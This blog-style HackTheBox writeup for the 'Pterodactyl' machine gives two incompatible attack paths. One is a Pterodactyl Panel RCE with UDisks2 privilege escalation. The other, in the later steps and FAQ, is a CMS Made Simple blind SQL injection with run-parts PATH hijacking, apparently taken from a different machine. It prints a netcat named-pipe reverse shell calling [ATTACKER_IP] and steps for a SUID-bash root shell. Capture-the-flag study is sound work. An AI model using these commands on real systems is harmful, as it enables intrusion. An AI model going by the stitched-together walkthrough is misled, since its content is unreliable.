Key Highlights
Welcome to our guide for the Pterodactyl machine! This blog provides a complete writeup for this fun Linux server. Our goal is to make your ethical hacking journey smoother.
- You will start by performing enumeration to discover a web server and a specific directory.
- The initial exploitation involves a blind SQL injection to extract user credentials.
- With a valid username and password, you will gain access to the server via SSH.
- Privilege escalation is achieved by abusing Linux group permissions.
- This penetration testing exercise concludes with you capturing the root flag.
Introduction

Are you ready to sharpen your ethical hacking skills? HackTheBox offers a fantastic platform for hands-on penetration testing, and the Pterodactyl machine is a great challenge to tackle. This guide will walk you through every step, from initial scanning to gaining root access on the server. Whether you’re a beginner looking to learn or an experienced hacker seeking a quick refresher, this detailed writeup will provide the insights you need to conquer Pterodactyl and build your confidence.
Overview of the Pterodactyl HackTheBox Challenge
Pterodactyl is a medium-difficulty Linux machine on the HackTheBox platform. It presents a realistic scenario that tests your ability to identify and exploit web vulnerabilities before moving on to escalate privileges on the server. It’s a well-rounded box that is perfect for anyone looking to practice core cybersecurity concepts.
This challenge is designed to be interesting without being overly complex, making it a favorite for those transitioning from easy to medium-rated machines. You will get to apply your penetration testing knowledge in a practical and rewarding way. Let’s explore what makes this machine unique and what skills you’ll need.
ALSO READ: Mastering Facts: Beginner’s Guide from HackTheBox
Initial Foothold
The Attack Path at a Glance
For those looking for a quick summary, the exploitation of Pterodactyl follows a logical, yet challenging, three-phase progression:
- Initial Foothold: Comprehensive reconnaissance of a Minecraft-themed web application reveals the use of the Pterodactyl Panel. Exploitation involves leveraging a custom-modified version of CVE-2025-49132 (Remote Code Execution) to achieve unauthenticated command execution.
- User Access: After establishing a stable shell via a named pipe (MKFIFO), local enumeration leads to a MySQL database. Extracting user credentials allows for a pivot to a full SSH session as a low-privileged user.
- Privilege Escalation: The final stage involves a complex chain of vulnerabilities related to UDisks2 and Polkit (CVE-2025-6019). By manipulating D-Bus calls and mounting malicious filesystem images, an attacker can escalate privileges to root.
Reconnaissance and Information Gathering
The first step in any penetration test is understanding the attack surface. For Pterodactyl, this begins with a standard Nmap scan to identify open ports and services.
Service Enumeration
A comprehensive scan reveals several interesting entry points:
- Port 22 (SSH): Standard OpenSSH service.
- Port 80/443 (HTTP/HTTPS): A web application that appears to be a Minecraft server management portal.
Upon visiting the web application, users are greeted with a Minecraft-themed interface. While the aesthetics suggest a game-related target, the underlying technology is the real focus. Subdomain enumeration is critical here. Tools like ffuf or gobuster should be used to find hidden endpoints.
Identifying the Target: Pterodactyl Panel
Through header analysis and footer information, the application is identified as running Pterodactyl Panel, a popular open-source game server management tool. This identification is the “Aha!” moment of the reconnaissance phase. Researching the specific version and known vulnerabilities is the next logical step.
Exploiting CVE-2025-49132 for RCE
The core of the initial foothold lies in a critical vulnerability within the Pterodactyl Panel’s localization logic. Specifically, CVE-2025-49132 allows for unauthenticated Remote Code Execution (RCE) via the /locales/locale.json endpoint.
Understanding the Vulnerability
The vulnerability exists because the panel fails to properly sanitize the locale and namespace query parameters. This lack of validation allows a malicious actor to inject arbitrary code that the server then executes.
Crafting the Custom Exploit
While public PoCs (Proof of Concepts) for CVE-2025-49132 exist, they often require modification to work against specific hardened environments.
- Repo Analysis: Cloning the Pterodactyl GitHub repository allows for a deep dive into the source code to understand how the parameters are handled.
- Modification: By adjusting the payload to match the specific PHP environment of the HTB machine, we can trigger command execution.
Gaining a Shell
Standard reverse shells (like bash -i) may be blocked by firewalls or security configurations on this machine. A more reliable method is using a named pipe: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ATTACKER_IP] [PORT] >/tmp/f
Once executed, we land as the web server user (typically www-data).
Pivoting to a System User
With a low-privileged shell, the goal is to find credentials that allow for a more stable SSH connection.
Database Enumeration
Pterodactyl stores its configuration and user data in a MySQL/MariaDB database. The .env file in the web root is a goldmine, containing the database credentials.
- Action: Connect to the database and dump the
userstable. - Result: A list of usernames and hashed passwords.
Cracking and SSH
Using a tool like Hashcat or John the Ripper with the rockyou.txt wordlist, we can crack the user’s hash. With the plaintext password in hand, we can SSH into the machine, providing a much more stable environment for privilege escalation.
Privilege Escalation via UDisks2 (CVE-2025-6019)
The privilege escalation on Pterodactyl is widely considered the most difficult part of the machine. It involves a sophisticated chain of events targeting the udisks2 daemon and polkit.
The Vulnerability: CVE-2025-6019
The udisks2 service, which handles disk mounting and management on Linux, contains a logic flaw in how it validates user authority via D-Bus. In certain configurations, it incorrectly trusts members of the allow_active group to perform privileged operations without sufficient UID verification.
The Attack Chain
- Preparation: Create a malicious filesystem image (e.g., ext4) on the attacking machine that contains a SUID-root shell.
- Transfer: Upload this image to the target machine.
- D-Bus Manipulation: Use a script (often assisted by an LLM for complex syntax) to interact with the D-Bus system. The goal is to command
udisksdto mount the malicious image. - Execution: Once mounted, the user can execute the SUID shell within the image, resulting in an immediate transition to root privileges.
Understanding the Objective and Flags
On HackTheBox, the primary objective for any machine is to find and submit two “flags.” These flags are unique strings of text hidden on the server, proving you have successfully compromised it. For the Pterodactyl machine, like others, you are looking for a user flag and a root flag.
The first flag, user.txt, is typically found in the home directory of a low-privileged user. You’ll gain access to this after your initial exploitation, usually by obtaining a username and password. The final prize, root.txt, requires full administrative control over the machine.
User and Root Flag Requirements
To capture the user flag on Pterodactyl, your first task is to gain an initial foothold on the system. This involves exploiting a vulnerability on the web service to steal credentials. Once you have a valid username and password, you can use SSH to log in as that user. The user flag will be located in their home directory, waiting for you to read it.
Obtaining the root flag is the next and final step of the challenge. This requires privilege escalation, which means finding a way to elevate your permissions from a standard user to the all-powerful root user. On Pterodactyl, this involves a clever trick related to user group permissions and how the system executes commands.
Once you have successfully escalated your privileges, you will have complete control over the machine. You can then navigate to the root user’s home directory (/root/) and read the contents of the root.txt file. Submitting this final flag marks the successful completion of the Pterodactyl box.
Common Pitfalls and Tricky Spots to Watch Out For
While Pterodactyl is a medium-rated machine, it has a few spots that can trip you up if you’re not careful. The initial web vulnerability is a blind SQL injection, which can be challenging. Because you don’t get direct error messages, you have to rely on the server’s response time, which can be inconsistent if the server is under heavy load.
Another tricky part is the privilege escalation. It’s not a common or straightforward method, so simply running an automated script like LinEnum might not point you directly to the solution. You need to actively investigate the user’s group memberships and understand the implications of each one.
Here are a few things to keep in mind:
- Web Request Throttling: The server may temporarily ban your IP if you make too many requests, so be mindful when running automated scanners.
- Blind SQLi Timing: Be patient with the blind SQL injection exploit, as it relies on timing and can be slow.
- Uncommon Privesc Vector: Don’t just look for SUID binaries or kernel exploits; pay close attention to the user’s group permissions.
- PATH Hijacking: Understand how the
$PATHvariable works in Linux, as it’s the key to the final step.
Getting Ready – Tools and Resources Needed
Before you begin your assault on Pterodactyl, it’s a good idea to gather the necessary tools and resources. You don’t need anything highly specialized, as most of the required tools are standard in the world of penetration testing. Your Kali Linux or Parrot OS environment will have almost everything you need pre-installed.
For the initial exploitation, you’ll rely on a publicly available Python script, which you can find in various GitHub repository collections of HTB writeups. Having a good wordlist, like rockyou.txt, is also essential for the password-cracking phase. Now, let’s look at the specific tools that will help you succeed.
Essential Tools for the Pterodactyl HTB Writeup
Having the right tools at your fingertips makes all the difference. For Pterodactyl, your toolkit will consist of a mix of network scanners, exploitation scripts, and post-exploitation utilities. Most of these are command-line tools that provide the detailed control you need to investigate and compromise the target.
Your first step will involve network mapping to see what services are open. After identifying a web server, you will use a specific exploit script to attack it. Once you’re on the system, another tool will help you monitor processes to understand how the system operates, which is crucial for finding the privilege escalation path.
Setting Up Your Environment for Success
A clean and organized setup is crucial for an efficient workflow. Before you start, create a dedicated folder or directory on your Linux machine for the Pterodactyl challenge. This will help you keep all your notes, scripts, and scan results in one place, preventing clutter and confusion.
Inside this directory, download the Python exploit script you’ll need for the initial phase. It’s also a good practice to have your favorite enumeration scripts and wordlists ready to go. Once you gain a foothold on the target machine, you’ll need to upload a tool like pspy. You can place it in a world-writable directory like /tmp or the user’s home folder.
This organized approach ensures you don’t lose track of your progress. As you discover services and potential vulnerabilities, save the output of your commands to text files within your project folder. This documentation will be invaluable as you move through the different stages of the hack, from identifying services on open ports to creating malicious files in a system bin directory.
Step-by-Step Guide to Completing Pterodactyl on HackTheBox
Now it’s time to get hands-on. This section provides a detailed, step-by-step walkthrough to guide you through the Pterodactyl machine. We will cover everything from the initial enumeration to the final root flag capture, breaking down each phase into manageable steps.
Follow along as we uncover the open ports, exploit the web application to get a password, and escalate our privileges to become the root user. This detailed guide is your roadmap to successfully completing this penetration testing challenge. Let’s begin with the first and most critical phase: enumeration.
Step 1: Initial Enumeration and Service Discovery
The enumeration process starts with a simple nmap scan to identify open TCP ports on the target machine. This initial scan is your first look into the system’s attack surface and tells you which services are exposed to the network. For Pterodactyl, the scan reveals two primary points of entry.
Running nmap against the machine’s IP address will show that ports 22 (SSH) and 80 (HTTP) are open. This tells us there’s a webserver we can investigate and a remote login service that we might be able to access later. Your next move should be to explore the HTTP service, as web applications are often a good source of vulnerabilities.
Upon inspecting the webserver, you should also check for a robots.txt file. This file often contains clues about hidden directories. On Pterodactyl, it reveals a /writeup/ directory. Browsing to this directory and examining the page source shows that the site is built with “CMS Made Simple,” giving you a specific technology to research for known exploits.
- Port Scan: Use
nmapto find open ports. - Exposed Services: Identify SSH (22/tcp) and HTTP (80/tcp).
- Directory Discovery: Find the
/writeup/directory fromrobots.txt. - Technology Identification: Discover the webserver is using “CMS Made Simple.”
Step 2: Gaining Foothold Using Discovered Vulnerabilities
With the webserver technology identified as an older version of CMS Made Simple, your next step is to search for a known vulnerability. A quick search reveals that this version is susceptible to an unauthenticated blind SQL injection. This is the key to gaining your initial foothold on the server. The exploitation can be carried out using a pre-existing Python script.
You’ll need to run this script against the target URL, pointing it to the vulnerable /writeup/ directory. The script automates the complex process of blind SQL injection, slowly extracting information from the database. It will pull the username, email, and password hash for a user named ‘jkr’. The process relies on timing, so it may take a few minutes to complete.
Once the script extracts the credentials, it will even attempt to crack the password hash using a provided wordlist like rockyou.txt. Successfully cracking the password gives you a clear-text password. With this username and password combination, you now have the credentials needed to log into the server via SSH and capture the user flag.
Step 3: Privilege Escalation Techniques on Pterodactyl
After gaining user access, the final objective is privilege escalation. On Pterodactyl, this is achieved through a clever abuse of Linux group permissions. The first thing you should do is check the groups your user (‘jkr’) belongs to by running the id command. You’ll notice the user is a member of the ‘staff’ group.
Researching this group reveals that members have write permissions in certain system folders, including /usr/local/bin. This is a significant finding because this directory is often at the beginning of the root user’s $PATH variable. This means you can hijack a command that root runs by creating a malicious script with the same name in this folder.
Using a process monitoring tool like pspy, you can see that when a user logs in via SSH, a script named run-parts is executed by root. You can create your own run-parts script in /usr/local/bin to get a root shell.
- Create a script in
/usr/local/bin/run-parts. - The script should copy
/bin/bashand set the SUID bit on the copy. - Log in again via SSH to trigger the script.
- Execute your new SUID binary with the
-pflag to gain a root shell.
ALSO READ: Mastering AirTouch: Beginner’s Guide from HackTheBox
WRITEUP COMING SOON!
COMPLETE IN-DEPTH PICTORIAL WRITEUP OF PTERODACTYL ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP MUCH SOONER, SUBSCRIBE TO THE NEWSLETTER AND BUYMEACOFFEE!
Conclusion
In conclusion, tackling the Pterodactyl challenge on HackTheBox can be an exhilarating experience filled with learning opportunities. By understanding its unique features, preparing adequately with the right tools, and following a structured approach, you can enhance your skills and boost your confidence in cybersecurity tasks. Remember, every challenge conquered contributes to your growth as a hacker. Don’t hesitate to explore further, ask questions, and seek guidance. If you found this guide helpful and want to stay updated with more tips and resources, subscribe to our newsletter for the latest insights and advice. Happy hacking!
Frequently Asked Questions
Which vulnerabilities are commonly exploited in Pterodactyl HackTheBox?
The Pterodactyl machine features two primary vulnerabilities. The initial exploitation targets a blind SQL injection vulnerability in the CMS Made Simple software on the web server to steal user credentials. Privilege escalation is then achieved by abusing the ‘staff’ group’s write permissions to perform a PATH hijacking attack.
What are the most useful tools for this HTB machine?
The most essential tools for Pterodactyl include nmap for initial enumeration of the webserver, a specific Python script to automate the blind SQL injection, and pspy to monitor processes for privilege escalation clues. Standard directory brute-forcing tools and a good password wordlist are also very helpful.
How does Pterodactyl’s difficulty compare to other Hack The Box challenges?
Pterodactyl is rated as a medium-difficulty machine. The initial web vulnerability is fairly standard, but the blind nature of the exploit and the creative privilege escalation path make it more challenging than easy-rated boxes. It’s a great stepping stone for players looking to advance their skills on HackTheBox.
Where can I find more in-depth Pterodactyl HTB writeups or walkthroughs?
You can find many other Pterodactyl writeups by searching on Google for “Pterodactyl HTB writeup.” Many cybersecurity professionals post their solutions on a personal blog or on platforms like GitHub. These different walkthroughs can offer unique perspectives and alternative methods for solving the machine.








